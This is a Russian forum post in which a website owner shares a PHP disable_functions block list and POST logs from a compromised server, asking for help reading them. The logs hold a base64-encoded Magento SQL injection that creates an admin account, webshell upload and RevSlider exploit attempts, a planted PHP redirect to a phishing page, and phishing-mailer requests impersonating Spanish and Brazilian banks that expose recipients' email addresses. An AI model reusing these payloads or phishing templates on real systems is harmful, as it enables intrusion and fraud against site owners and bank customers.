Постоянно на сервере появляются левые файлы, все кроме php закрыто намертво и вообще настроено на доступ с одного айпи.
в PHP.INI отключены все функции которые рекомендованы в статьях по безопасности:.
disable_functions ="exec,assert,curl_exec,shell_exec,passthru,system,eval,show_source,proc_open,popen,parse_ini_file,dl,fp,print,fsockopen,phpinfo,fileperms,curl_setopt"
Далее я настроил чтобы все post действия php логгировались и вижу кучу левых действий, например:
2016-11-13 18:46:50 188.191.239.237
submit=>Upload Image
Name=>cache.php
---------------------------
2016-11-13 23:26:04 188.191.239.237
submit=>Upload Image
Name=>cache.php
---------------------------
2016-11-15 13:36:20 216.244.84.85
___directive=>e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ
filter=>cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9leHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0FMVCAsICdnZW50bycpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKGV4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBhc3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJywnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ21hZycsQFBBU1MsTk9XKCksMCwwLDEsQEVYVFJBLE5VTEwsIE5PVygpKTtJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKHBhcmVudF9pZCx0cmVlX2xldmVsLHNvcnRfb3JkZXIscm9sZV90eXBlLHVzZXJfaWQscm9sZV9uYW1lKSBWQUxVRVMgKDEsMiwwLCdVJywoU0VMRUNUIHVzZXJfaWQgRlJPTSBhZG1pbl91c2VyIFdIRVJFIHVzZXJuYW1lID0gJ21hZycpLCdGaXJzdG5hbWUnKTs=
forwarded=>1
---------------------------
2016-11-15 13:36:21 216.244.84.85
form_key=>D4eM2E7wXQT4AYYO
login=>Array
---------------------------
2016-11-15 18:09:55 188.191.239.112
submit=>Upload Image
Name=>cache.php
---------------------------
Правда этого файла я не нахожу, вроде бы. Хотя может не там ищу.
Есть куча левых файлов с совершенно разным содержанием, например:
<?php
#abaixo, criamos uma variavel que terá como conteúdo o endereço para onde haverá o redirecionamento:
$redirect = "
http://108.179.252.52/~santa647/acesso-online/";
#abaixo, chamamos a função header() com o atributo location: apontando para a variavel $redirect, que por
#sua vez aponta para o endereço de onde ocorrerá o redirecionamento
header("location:$redirect");
?>
Вот что означает например начало одного из логов, я там ничего не понимаю:
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
2016-10-19 23:10:18 67.20.76.140
jform=>Array
option=>com_users
task=>registration.register
---------------------------
2016-10-19 23:10:19 67.20.76.140
jform=>Array
option=>com_users
task=>registration.register
---------------------------
2016-10-21 00:16:50 95.37.250.65
action=>showbiz_ajax_action
client_action=>update_plugin
---------------------------
2016-10-21 00:16:50 95.37.250.65
action=>revslider_ajax_action
client_action=>update_plugin
---------------------------
2016-10-21 00:16:52 95.37.250.65
action=>showbiz_ajax_action
client_action=>update_plugin
---------------------------
2016-10-21 00:16:53 95.37.250.65
action=>revslider_ajax_action
client_action=>update_plugin
---------------------------
2016-10-22 20:59:19 93.120.159.38
action=>showbiz_ajax_action
client_action=>update_plugin
---------------------------
2016-10-22 20:59:19 93.120.159.38
action=>revslider_ajax_action
client_action=>update_plugin
---------------------------
2016-10-22 20:59:22 93.120.159.38
action=>showbiz_ajax_action
client_action=>update_plugin
---------------------------
2016-10-22 20:59:23 93.120.159.38
action=>revslider_ajax_action
client_action=>update_plugin
---------------------------
2016-10-26 12:36:54 163.172.129.161
win=>6.1
vers=>6.00
oprat=>2
uinfo=>RFVNTVkgQCBQQ1xBZG1pbmlzdHJhdG9y
uid=>7236007321987722128
---------------------------
2016-10-26 15:01:56 163.172.128.98
win=>6.1
vers=>6.00
oprat=>2
uinfo=>RFVNTVkgQCBQQ1xBZG1pbmlzdHJhdG9y
uid=>7236007321987722128
---------------------------
2016-10-27 18:45:28 138.201.171.209
url=>http://partster.ru/brand/beral
timeout=>10
---------------------------
2016-11-04 23:44:26 177.75.188.126
B1=>Kirim
---------------------------
2016-11-04 23:45:29 177.75.188.126
veio=>sim
nome=>Banco Sabadell
de=>no-reply@sabadellatlantico.es
assunto=>Actualizacion de Seguridad
html=>
emails=>zicavirus597@gmail.com
Submit=>Enviar
---------------------------
2016-11-04 23:46:33 177.75.188.126
veio=>sim
nome=>Bradesco
de=>no-reply@sabadellatlantico.es
assunto=>teste
html=>
emails=>eduardo.sousa.silva@outlook.com.br
fabi-nana@ig.com.br
Submit=>Enviar
---------------------------
2016-11-04 23:49:21 177.75.188.126
veio=>sim
nome=>Bradesco
de=>no-reply@sabadellatlantico.es
assunto=>Bradesco, Atualização de Segurança
html=><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>-bom dia</title>
<style type="text/css">
<!--
.style2 {
font-size: 18px;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #333333;
}
.style3 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
.style4 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #333333;
}
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; color: #333333; }
a:link {
color: #0000FF;
}
a:visited {
color: #006699;
}
a:hover {
color: #990000;
}
a:active {
color: #006699;
}
.style7 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
color: #333333;
}
.style7 {
text-align: left;
}
.style7 .style7 {
text-align: left;
}
-->
</style>
</head>
<body>
<table cellpadding="0" cellspacing="0">
<tr>
<td height="35" colspan="5" bgc
emails=>eduardo.sousa.silva@outloook.com.br
Submit=>Enviar
---------------------------
2016-11-05 01:57:13 177.75.188.126
veio=>sim
nome=>Banco Sabadell
de=>no-reply@sabadellatlantico.es
assunto=>Actualizacion de Seguridad
html=>
wefegfertyry
emails=>zicavirus597@gmail.com
Submit=>Enviar
---------------------------
2016-11-05 01:59:37 177.75.188.126
veio=>sim
nome=>Banco Sabadell
de=>no-reply@sabadellatlantico.es
assunto=>Bradesco, Atualização de Segurança
html=><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>-bom dia</title>
<style type="text/css">
<!--
.style2 {
font-size: 18px;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #333333;
}
.style3 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
.style4 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #333333;
}
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; color: #333333; }
a:link {
color: #0000FF;
}
a:visited {
color: #006699;
}
a:hover {
color: #990000;
}
a:active {
color: #006699;
}
.style7 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
color: #333333;
}
.style7 {
text-align: left;
}
.style7 .style7 {
text-align: left;
}
-->
</style>
</head>
